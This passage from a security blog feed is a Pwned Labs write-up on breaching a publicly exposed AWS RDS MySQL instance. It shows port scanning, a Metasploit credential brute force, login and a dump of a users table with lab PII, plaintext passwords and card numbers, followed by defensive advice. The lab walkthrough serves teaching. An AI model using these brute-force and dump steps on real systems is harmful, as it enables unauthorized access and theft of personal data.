</span></span><span style="display:flex;"><span>| <span style="color:#f92672">{}</span>  <span style="color:#f92672">}</span>| <span style="color:#f92672">{</span> <span style="color:#f92672">}</span> |<span style="color:#f92672">{</span> <span style="color:#f92672">{</span>__ <span style="color:#f92672">{</span>_   _<span style="color:#f92672">}{</span> <span style="color:#f92672">{</span>__  /  ___<span style="color:#f92672">}</span> / <span style="color:#f92672">{}</span> <span style="color:#ae81ff">\ </span>|  <span style="color:#e6db74">`</span>| |
</span></span><span style="display:flex;"><span>| .-. <span style="color:#ae81ff">\|</span> <span style="color:#f92672">{</span>_<span style="color:#f92672">}</span> |.-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span> | |  .-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span><span style="color:#ae81ff">\ </span>    <span style="color:#f92672">}</span>/  /<span style="color:#ae81ff">\ </span> <span style="color:#ae81ff">\|</span> |<span style="color:#ae81ff">\ </span> |
</span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39; `-&#39;</span><span style="color:#e6db74">`</span>-----<span style="color:#e6db74">&#39;`----&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;  `----&#39;</span>  <span style="color:#e6db74">`</span>---<span style="color:#e6db74">&#39; `-&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;`-&#39;</span> <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">The Modern Day Port Scanner.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">________________________________________
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: http://discord.skerritt.blog         :
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: https://github.com/RustScan/RustScan :
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">I scanned ports so fast, even my computer was surprised.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[~] The config file is expected to be at &#34;/home/n3ph0s/.rustscan.toml&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[!] Your file limit is very small, which negatively impacts RustScan&#39;</span>s speed. Use the Docker image, or up the Ulimit with <span style="color:#e6db74">&#39;--ulimit 5000&#39;</span>.
</span></span><span style="display:flex;"><span>Open 16.171.94.68:1433
</span></span><span style="display:flex;"><span>Open 16.171.94.68:5432
</span></span><span style="display:flex;"><span>Open 16.171.94.68:1521
</span></span><span style="display:flex;"><span>Open 16.171.94.68:3306
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Script<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>&gt;<span style="color:#f92672">]</span> Running script <span style="color:#e6db74">&#34;nmap -vvv -p {{port}} {{ip}} -A&#34;</span> on ip 16.171.94.68
</span></span><span style="display:flex;"><span>Depending on the complexity of the script, results may take some time to appear.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-06-27 13:32 PST
</span></span><span style="display:flex;"><span>Scanned at 2024-06-27 13:32:11 PST <span style="color:#66d9ef">for</span> 293s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE     REASON  VERSION
</span></span><span style="display:flex;"><span>1433/tcp open  ms-sql-s?   syn-ack
</span></span><span style="display:flex;"><span>1521/tcp open  oracle?     syn-ack
</span></span><span style="display:flex;"><span>3306/tcp open  mysql       syn-ack MySQL 8.0.32
</span></span><span style="display:flex;"><span>| mysql-info:
</span></span><span style="display:flex;"><span>|   Protocol: <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>|   Version: 8.0.32
</span></span><span style="display:flex;"><span>|   Thread ID: <span style="color:#ae81ff">521105</span>
</span></span><span style="display:flex;"><span>|   Capabilities flags: <span style="color:#ae81ff">65535</span>
</span></span><span style="display:flex;"><span>|   Some Capabilities: InteractiveClient, Support41Auth, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, LongPassword, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, SupportsCompression, ODBCClient, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
</span></span><span style="display:flex;"><span>|   Status: Autocommit
</span></span><span style="display:flex;"><span>|   Salt: <span style="color:#ae81ff">\x</span>08<span style="color:#ae81ff">\x</span>01*V<span style="color:#ae81ff">\x</span>03k<span style="color:#ae81ff">\x</span>0FzD<span style="color:#ae81ff">\x</span>11<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#ae81ff">\x</span>05:bPB<span style="color:#ae81ff">\z\x</span>11<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">13</span>
</span></span><span style="display:flex;"><span>|_  Auth Plugin Name: mysql_native_password
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com/organizationName<span style="color:#f92672">=</span>Amazon.com/stateOrProvinceName<span style="color:#f92672">=</span>Washington/countryName<span style="color:#f92672">=</span>US/localityName<span style="color:#f92672">=</span>Seattle/organizationalUnitName<span style="color:#f92672">=</span>RDS
</span></span><span style="display:flex;"><span>| Subject Alternative Name: DNS:exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
</span></span><span style="display:flex;"><span>| Issuer: commonName<span style="color:#f92672">=</span>Amazon RDS eu-north-1 Subordinate CA ECC384 G1.A.5/organizationName<span style="color:#f92672">=</span>Amazon Web Services, Inc./stateOrProvinceName<span style="color:#f92672">=</span>WA/countryName<span style="color:#f92672">=</span>US/organizationalUnitName<span style="color:#f92672">=</span>Amazon RDS/localityName<span style="color:#f92672">=</span>Seattle
</span></span><span style="display:flex;"><span>| Public Key type: ec
</span></span><span style="display:flex;"><span>| Public Key bits: <span style="color:#ae81ff">384</span>
</span></span><span style="display:flex;"><span>| Signature Algorithm: ecdsa-with-SHA384
</span></span><span style="display:flex;"><span>| Not valid before: 2024-04-10T04:17:14
</span></span><span style="display:flex;"><span>| Not valid after:  2025-04-10T04:17:14
</span></span><span style="display:flex;"><span>| MD5:   8487:d764:a9ae:71de:c512:e6ef:f665:d0b2
</span></span><span style="display:flex;"><span>| SHA-1: f382:5d75:f86b:4152:3391:ef34:1de2:d558:a932:36c1
</span></span><span style="display:flex;"><span>| -----BEGIN CERTIFICATE-----
</span></span><span style="display:flex;"><span>| MIIDATCCAoagAwIBAgIRAM8/a3UpYAtV8nRDFaBUnVcwCgYIKoZIzj0EAwMwgaIx
</span></span><span style="display:flex;"><span>| CzAJBgNVBAYTAlVTMSIwIAYDVQQKDBlBbWF6b24gV2ViIFNlcnZpY2VzLCBJbmMu
</span></span><span style="display:flex;"><span>| MRMwEQYDVQQLDApBbWF6b24gUkRTMQswCQYDVQQIDAJXQTE7MDkGA1UEAwwyQW1h
</span></span><span style="display:flex;"><span>| em9uIFJEUyBldS1ub3J0aC0xIFN1Ym9yZGluYXRlIENBIEVDQzM4NCBHMS5BLjUx
</span></span><span style="display:flex;"><span>| EDAOBgNVBAcMB1NlYXR0bGUwHhcNMjQwNDEwMDQxNzE0WhcNMjUwNDEwMDQxNzE0
</span></span><span style="display:flex;"><span>| WjCBkzE6MDgGA1UEAwwxZXhwb3NlZC5jdzlvdzFsbHBmdnouZXUtbm9ydGgtMS5y
</span></span><span style="display:flex;"><span>| ZHMuYW1hem9uYXdzLmNvbTEMMAoGA1UECwwDUkRTMRMwEQYDVQQKDApBbWF6b24u
</span></span><span style="display:flex;"><span>| Y29tMRAwDgYDVQQHDAdTZWF0dGxlMRMwEQYDVQQIDApXYXNoaW5ndG9uMQswCQYD
</span></span><span style="display:flex;"><span>| VQQGEwJVUzB2MBAGByqGSM49AgEGBSuBBAAiA2IABB6MhqNvpqjjWWwsxXAif9QN
</span></span><span style="display:flex;"><span>| DtRvTFXD1RbQISltKYOL5NSTUwvlfI4s3dDLxaLHIzBIXcfR6QQ9W8z6vf23R0rX
</span></span><span style="display:flex;"><span>| QZ3xcZKPbKLDW22Qj5v4dy0NrxPAhNZrXchhif7RpKOBjDCBiTA8BgNVHREENTAz
</span></span><span style="display:flex;"><span>| gjFleHBvc2VkLmN3OW93MWxscGZ2ei5ldS1ub3J0aC0xLnJkcy5hbWF6b25hd3Mu
</span></span><span style="display:flex;"><span>| Y29tMAkGA1UdEwQCMAAwHwYDVR0jBBgwFoAU0XeoKj2EpfNPeRE7PSyHotXu/Rww
</span></span><span style="display:flex;"><span>| HQYDVR0OBBYEFI+po9dcNXv0cdRJHPL2XoSYNnOIMAoGCCqGSM49BAMDA2kAMGYC
</span></span><span style="display:flex;"><span>| MQCzjouq9Uf2UKp9uOpQmaH+VSJH6NTkacGan+FVk4KBSEq7ORb3CxjqKZuSMR5q
</span></span><span style="display:flex;"><span>| a/0CMQCVXedMBszw3B/aV76XWnrciWGlOV8dWNzjHAZJhqnxA/p+kF9lN/5wvtxd
</span></span><span style="display:flex;"><span>| OP1p6B8<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>|_-----END CERTIFICATE-----
</span></span><span style="display:flex;"><span>5432/tcp open  postgresql? syn-ack
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 292.67 seconds
</span></span></code></pre></div><p>We can see from the above output that it is publicly accessible and we attempt to login using <code>root:root</code> and <code>root</code> with no password</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root -proot
</span></span><span style="display:flex;"><span>ERROR <span style="color:#ae81ff">1045</span> <span style="color:#f92672">(</span>28000<span style="color:#f92672">)</span>: Access denied <span style="color:#66d9ef">for</span> user <span style="color:#e6db74">&#39;root&#39;</span>@<span style="color:#e6db74">&#39;37.19.201.131&#39;</span> <span style="color:#f92672">(</span>using password: YES<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root
</span></span><span style="display:flex;"><span>ERROR <span style="color:#ae81ff">1045</span> <span style="color:#f92672">(</span>28000<span style="color:#f92672">)</span>: Access denied <span style="color:#66d9ef">for</span> user <span style="color:#e6db74">&#39;root&#39;</span>@<span style="color:#e6db74">&#39;37.19.201.131&#39;</span> <span style="color:#f92672">(</span>using password: NO<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>We can look for NMAP Scripts that we can use and we filter by those with <code>mysql</code> and we can see a list of them.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ ls /usr/share/nmap/scripts | grep -i mysql
</span></span><span style="display:flex;"><span>.rw-r--r-- 6.7k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-audit.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 3.0k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-brute.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 2.9k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-databases.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 3.3k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-dump-hashes.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 2.0k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-empty-password.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 3.4k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-enum.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 3.5k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-info.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 3.7k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-query.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 2.8k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-users.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 3.3k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-variables.nse
</span></span><span style="display:flex;"><span>.rw-r--r-- 7.0k root <span style="color:#ae81ff">21</span> Jun 02:27 mysql-vuln-cve2012-2122.nse
</span></span></code></pre></div><p>We will use the <code>mysql-brute.nse</code> and we look up the script arguments at <a href="https://nmap.org/nsedoc/scripts/mysql-brute.html">https://nmap.org/nsedoc/scripts/mysql-brute.html</a> and then we look at the brute library for the credentials file noting that the file needs to be separated by a `/</p>
<p><img src="/assets/pwn_20240627140941.png" alt=""></p>
<p>We look at the file and we can see that the current separator is <code>:</code> and there are numerous ways to fix this, but we will do it with VIM and then save the file in our working directory.</p>
<p><strong>Option 1 - NMAP Script (Not working)</strong></p>
<p>The first approach was to use the NMAP Script, but for some reason, this was not working and after some initial troubleshooting, moved onto other approaches that could achieve the same objective.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ nmap -Pn -p <span style="color:#ae81ff">3306</span> --script<span style="color:#f92672">=</span>mysql-brute --script-args brute.delay<span style="color:#f92672">=</span>10,brute.mode<span style="color:#f92672">=</span>creds,brute.credfile<span style="color:#f92672">=</span>mysql-creds.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-06-27 14:42 PST
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com <span style="color:#f92672">(</span>16.171.94.68<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.038s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>rDNS record <span style="color:#66d9ef">for</span> 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>3306/tcp open  mysql
</span></span><span style="display:flex;"><span>| mysql-brute:
</span></span><span style="display:flex;"><span>|   Accounts: No valid accounts found
</span></span><span style="display:flex;"><span>|_  Statistics: Performed <span style="color:#ae81ff">0</span> guesses in <span style="color:#ae81ff">10</span> seconds, average tps: 0.0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 10.28 seconds
</span></span></code></pre></div><p><strong>Option 2 - Metasploit (Worked)</strong></p>
<p>If at first you don&rsquo;t succeed, find another way and using the <code>auxiliary/scanner/mysql/mysql_login</code> we have been able to find valid credentials (output pruned for readability)</p>
<pre tabindex="0"><code>msf6 auxiliary(scanner/mysql/mysql_login) &gt; run

[+] 16.171.94.68:3306     - 16.171.94.68:3306 - Found remote MySQL version 8.0.32
[!] 16.171.94.68:3306     - No active DB -- Credential data will not be saved!
[-] 16.171.94.68:3306     - 16.171.94.68:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user &#39;root&#39;@&#39;37.19.201.131&#39; (using password: NO))
[+] 16.171.94.68:3306     - 16.171.94.68:3306 - Success: &#39;dbuser:123&#39;
[-] 16.171.94.68:3306     - 16.171.94.68:3306 - LOGIN FAILED: root:123qweASD# (Incorrect: Access denied for user &#39;root&#39;@&#39;37.19.201.131&#39; (using password: YES))
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - Scanned 1 of 1 hosts (100% complete)
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - Bruteforce completed, 1 credential was successful.
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - You can open an MySQL session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) &gt;
</code></pre><p>Having found valid credentials, we can login</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p
</span></span><span style="display:flex;"><span>Enter password:
</span></span><span style="display:flex;"><span>Welcome to the MariaDB monitor.  Commands end with ; or <span style="color:#ae81ff">\g</span>.
</span></span><span style="display:flex;"><span>Your MySQL connection id is <span style="color:#ae81ff">521276</span>
</span></span><span style="display:flex;"><span>Server version: 8.0.32 Source distribution
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Copyright <span style="color:#f92672">(</span>c<span style="color:#f92672">)</span> 2000, 2018, Oracle, MariaDB Corporation Ab and others.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Support MariaDB developers by giving a star at https://github.com/MariaDB/server
</span></span><span style="display:flex;"><span>Type <span style="color:#e6db74">&#39;help;&#39;</span> or <span style="color:#e6db74">&#39;\h&#39;</span> <span style="color:#66d9ef">for</span> help. Type <span style="color:#e6db74">&#39;\c&#39;</span> to clear the current input statement.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MySQL <span style="color:#f92672">[(</span>none<span style="color:#f92672">)]</span>&gt;
</span></span></code></pre></div><p>After having successfully logging in, the first thing that we want to do is get an understanding of our permissions by looking for any grants.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>MySQL <span style="color:#f92672">[(</span>none<span style="color:#f92672">)]</span>&gt; show grants <span style="color:#66d9ef">for</span> <span style="color:#e6db74">&#39;dbuser&#39;</span>;
</span></span><span style="display:flex;"><span>+-----------------------------------------------------+
</span></span><span style="display:flex;"><span>| Grants <span style="color:#66d9ef">for</span> dbuser@%                                 |
</span></span><span style="display:flex;"><span>+-----------------------------------------------------+
</span></span><span style="display:flex;"><span>| GRANT USAGE ON *.* TO <span style="color:#e6db74">`</span>dbuser<span style="color:#e6db74">`</span>@<span style="color:#e6db74">`</span>%<span style="color:#e6db74">`</span>                  |
</span></span><span style="display:flex;"><span>| GRANT SELECT ON <span style="color:#e6db74">`</span>user_info<span style="color:#e6db74">`</span>.<span style="color:#e6db74">`</span>flag<span style="color:#e6db74">`</span> TO <span style="color:#e6db74">`</span>dbuser<span style="color:#e6db74">`</span>@<span style="color:#e6db74">`</span>%<span style="color:#e6db74">`</span>  |
</span></span><span style="display:flex;"><span>| GRANT SELECT ON <span style="color:#e6db74">`</span>user_info<span style="color:#e6db74">`</span>.<span style="color:#e6db74">`</span>users<span style="color:#e6db74">`</span> TO <span style="color:#e6db74">`</span>dbuser<span style="color:#e6db74">`</span>@<span style="color:#e6db74">`</span>%<span style="color:#e6db74">`</span> |
</span></span><span style="display:flex;"><span>+-----------------------------------------------------+
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">3</span> rows in set <span style="color:#f92672">(</span>0.366 sec<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>We have select (read) permissions over the <code>users</code> and <code>flag</code> tables in the <code>user_info</code> database.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>MySQL <span style="color:#f92672">[(</span>none<span style="color:#f92672">)]</span>&gt; use user_info;
</span></span><span style="display:flex;"><span>Reading table information <span style="color:#66d9ef">for</span> completion of table and column names
</span></span><span style="display:flex;"><span>You can turn off this feature to get a quicker startup with -A
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database changed
</span></span><span style="display:flex;"><span>MySQL <span style="color:#f92672">[</span>user_info<span style="color:#f92672">]</span>&gt; <span style="color:#66d9ef">select</span> * from users;
</span></span><span style="display:flex;"><span>+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
</span></span><span style="display:flex;"><span>| userId | fname         | lname          | email                                | password     | ip_address      | creditcard          |
</span></span><span style="display:flex;"><span>+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">1</span> | Erwin         | Eringey        | eeringey0@epa.gov                    | JQ6VoFjGT    | 244.218.113.151 | <span style="color:#ae81ff">3551222381964508</span>    |
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">2</span> | Carolyne      | Koppens        | ckoppens1@scribd.com                 | YEclSnT3mZA  | 235.196.167.220 | <span style="color:#ae81ff">3565797270077680</span>    |
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">3</span> | Isa           | Tapsell        | itapsell2@sbwire.com                 | Mrz5z7rB8J   | 100.112.175.106 | <span style="color:#ae81ff">6761958300756751</span>    |
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">4</span> | Colette       | Wickett        | cwickett3@delicious.com              | GNKKi5HeKW0  | 228.133.52.127  | <span style="color:#ae81ff">201514087172570</span>     |
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">5</span> | Irwinn        | Hotton         | ihotton4@tinypic.com                 | YdfVC60vLOU  | 106.40.168.188  | <span style="color:#ae81ff">3561287714912092</span>    |
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">6</span> | Sarena        | Pinke          | spinke5@google.cn                    | 029g4WGfBS   | 159.164.198.255 | <span style="color:#ae81ff">3537202178098610</span>    |
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">7</span> | Jeddy         | Lyptratt       | jlyptratt6@umn.edu                   | Pw8hPPsW     | 41.193.246.164  | <span style="color:#ae81ff">6767121419728674965</span> |
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">8</span> | Betsey        | Matthew        | bmatthew7@imageshack.us              | RnZabGnRb    | 123.2.192.187   | <span style="color:#ae81ff">3584286805742114</span>    |
</span></span><span style="display:flex;"><span>|      <span style="color:#ae81ff">9</span> | Gilberto      | Marioneau      | gmarioneau8@rambler.ru               | 7kiPucR6jQ   | 71.190.225.134  | <span style="color:#ae81ff">5100177821388158</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">10</span> | Barbaraanne   | Trulock        | btrulock9@salon.com                  | XAp9Tq9rm4Q6 | 234.176.167.69  | <span style="color:#ae81ff">201928858923385</span>     |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">11</span> | Bess          | Alliott        | balliotta@amazonaws.com              | gDrDMI       | 174.46.9.155    | <span style="color:#ae81ff">6331108242582523108</span> |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">12</span> | Corinne       | Viel           | cvielb@wired.com                     | FzVbvXN      | 198.190.169.181 | <span style="color:#ae81ff">30254016332758</span>      |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">13</span> | Ber           | Tadd           | btaddc@businesswire.com              | oFSSsGRFettd | 174.160.194.237 | <span style="color:#ae81ff">201990157425199</span>     |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">14</span> | Lin           | Blayney        | lblayneyd@walmart.com                | VDtoDz       | 12.232.1.7      | <span style="color:#ae81ff">201473089851295</span>     |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">15</span> | Kameko        | Southcoat      | ksouthcoate@pagesperso-orange.fr     | 1fMq28       | 205.185.104.201 | <span style="color:#ae81ff">3589099675330950</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">16</span> | Zonnya        | Francescuccio  | zfrancescucciof@opensource.org       | dA4PNtAyN    | 55.98.121.182   | <span style="color:#ae81ff">4844163019617016</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">17</span> | Reagan        | Dominiak       | rdominiakg@netvibes.com              | nZAFgn8HdB   | 30.25.21.23     | <span style="color:#ae81ff">5602223993754687</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">18</span> | Mala          | Jacquemet      | mjacquemeth@g.co                     | ceFQvqDaBlbY | 177.95.206.144  | <span style="color:#ae81ff">490597867959289814</span>  |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">19</span> | Valeda        | Neighbour      | vneighbouri@mlb.com                  | jxcOQOcgTG   | 110.55.85.213   | <span style="color:#ae81ff">6709816262644875</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">20</span> | Rolf          | Frango         | rfrangoj@shop-pro.jp                 | Y19IN9Xrk    | 117.198.152.27  | <span style="color:#ae81ff">6331100394503481</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">21</span> | Benji         | Markel         | bmarkelk@yellowpages.com             | wzgonZf      | 139.159.251.228 | <span style="color:#ae81ff">5126731712507357</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">22</span> | Vladimir      | Seaborn        | vseabornl@surveymonkey.com           | PaHfrsSOU    | 120.71.140.119  | <span style="color:#ae81ff">5447338871358390</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">23</span> | Antons        | Teers          | ateersm@chronoengine.com             | Fkc5x0a13DWH | 15.11.230.80    | <span style="color:#ae81ff">3540134552219915</span>    |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">24</span> | Kylila        | Penquet        | kpenquetn@who.int                    | uw9JY8N6cq   | 136.101.18.241  | <span style="color:#ae81ff">5610883887259598657</span> |
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">25</span> | Georgine      | Tonbye         | gtonbyeo@rambler.ru                  | OmY09LzT     | 54.139.176.95   | <span style="color:#ae81ff">56022567085812372</span>   |
</span></span><span style="display:flex;"><span>&lt; --snip -- &gt;
</span></span><span style="display:flex;"><span>|    <span style="color:#ae81ff">875</span> | Loren         | Bromont        | lbromontoa@sciencedaily.com          | 63bhmZ0      | 149.221.40.114  | <span style="color:#ae81ff">3542382422088980</span>    |
</span></span><span style="display:flex;"><span>+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">875</span> rows in set <span style="color:#f92672">(</span>1.030 sec<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>We can see that this contains PII (Personally Identifiable Information) and unencrypted passwords 🤦</p>
<p>PWNED!</p>
<h2 id="defense">Defense</h2>
<p>There are a number of failings here and a key one is understanding all the assets that the organisation has, where they are accessible from and who has permissions over them.  In this example there is a Database that is publicly exposed which should never be the case.  A low-tech, yet powerful exercise is to undertake frequent inventories and also have visibility into what assets are publicly exposed and evaluate if they have a legitimate business reason to be so.</p>
<p>The following is a CLI command to list publicly exposed RDS Instances in AWS</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile rds rds describe-db-instances --query <span style="color:#e6db74">&#39;DBInstances[*].PubliclyAccessible&#39;</span> --query <span style="color:#e6db74">&#39;DBInstances[*].DBInstanceIdentifier&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;exposed&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;huge-logistics-stock&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">]</span>
</span></span></code></pre></div><p>The other was that the Password was weak and it is strongly recommended and best practice to have a strong password policy as well as ensuring database / table level encryption for sensitive data.</p>
<p>Lastly, enabling of audit logging and pushing these to CloudWatch is recommended.</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Plunder Public RDS Snapshots</title>
            <link>https://www.nephos.guru/posts/2024/plunderpublicrds/</link>
            <pubDate>Tue, 25 Jun 2024 17:06:32 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/plunderpublicrds/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/plunder-public-rds-snapshots&#34;&gt;Pnwed Labs - Plunder Public RDS Snapshots&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;entry-point&#34;&gt;Entry Point&lt;/h2&gt;
&lt;p&gt;AWS Account ID: 104506445608&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
